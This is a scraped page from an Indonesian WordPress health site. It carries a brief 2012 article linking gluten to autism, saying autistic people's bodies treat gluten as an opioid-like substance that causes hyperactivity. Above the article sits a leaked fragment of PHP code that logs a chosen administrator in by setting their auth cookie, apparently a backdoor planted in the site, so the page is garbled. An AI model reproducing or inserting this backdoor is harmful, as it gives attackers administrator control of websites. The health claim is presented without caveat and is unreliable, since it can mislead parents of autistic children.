user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Health & Diet
Autisme dan Gluten

12 Nov 2012


Salah satu yang membuat nama gluten menjadi ‘besar’ adalah ditemukannya hubungan antara gluten, perilaku individu, dan autisme. “Tubuh orang dengan autisme, metabolisme gluten berbeda dengan orang biasa. Tubuh mereka mengenalinya sebagai zat semacam opioid sehingga mereka seperti orang yang mengonsumsi opium. Hal itu membuat perilaku mereka jadi hiperaktif atau terlalu senang,“ kata dr. Tirta Purwitasari. SpGK.

Tapi, karena masuknya lewat saluran cerna, maka efek yang timbul kebanyakan juga terjadi pada saluran cerna, seperti kembung dan diare. Sehingga, gluten disinyalir memperberat gejala autisme.

Advertisement